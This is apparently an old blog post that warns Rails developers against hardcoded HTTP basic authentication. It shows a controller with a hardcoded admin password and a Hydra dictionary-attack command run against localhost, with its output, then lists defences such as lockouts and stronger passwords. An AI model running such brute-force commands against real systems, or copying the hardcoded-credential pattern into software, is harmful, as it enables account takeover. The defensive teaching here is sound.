Brute-Forcing Your Web Application

In many Ruby on Rails tutorials (specially those aimed at beginners), you will often see user authentication handled like this:

class Admin::PostsController < ApplicationController
  before_filter :authenticate

  protected

  def authenticate
    authenticate_or_request_with_http_basic do |name, pass|
      name == 'admin' && pass == 'snafu'
    end
  end
end

This may be acceptable for a quick prototype, but in a production application it spells disaster. With the right tools, we could launch an attack and find out the password in a matter of hours.

Dictionary attack

Hydra is a dictionary-based remote password cracker, i.e., it uses a word list to try to find out the username and password.

Let's suppose the attacker knows (or guesses) that the administrator username is admin. He would just have to specify the word list to use and the URL of your application, and go grab some coffee:

C:\>hydra -l admin -P english.dic -s 3000 127.0.0.1 http-get /posts/new
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2009-09-19 17:55:40
[DATA] 16 tasks, 1 servers, 20864 login tries (l:1/p:20864), ~1304 tries per task
[DATA] attacking service http-get on port 3000
[STATUS] 1384.00 tries/min, 1384 tries in 00:01h, 19480 todo in 00:15h
[STATUS] 1394.67 tries/min, 4184 tries in 00:03h, 16680 todo in 00:12h
[STATUS] 1395.86 tries/min, 9771 tries in 00:07h, 11093 todo in 00:08h
[STATUS] 1406.50 tries/min, 16878 tries in 00:12h, 3986 todo in 00:03h
[3000][www] host: 127.0.0.1   login: admin   password: snafu
[STATUS] attack finished for 127.0.0.1 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2009-09-19 18:08:10

Don't think that you are safe because your password isn't a word picked from the dictionary. An attacker can tune his word list in innumerable ways.

Search attack

Brutus is a bit more flexible than Hydra, as it allows various types of attacks. We will use it to perform a search attack, i.e., it will try all possible combinations of a given character set and a given password length range:

Brutus in action

It's slower than a dictionary attack, because the search space is much bigger, but, with the right character set and length range, the attacker will eventually get what he wants.

Protecting yourself

Try to avoid authenticate_or_request_with_http_basic in your Rails apps. There are better alternatives, like Restful Authentication.

If you have to stick with basic authentication, try to increase the time it takes the attacker to guess your password by:

  • Picking unusual administrator usernames
  • Increasing the length of your passwords
  • Increasing the complexity of your passwords (e.g. by including spaces, punctuation characters, etc.)
  • Imposing a delay between failed authentication attempts
  • Locking the account after a number of failed authentication attempts

Remember that a brute-force attack will always succeed, it's just a question of time!

Comments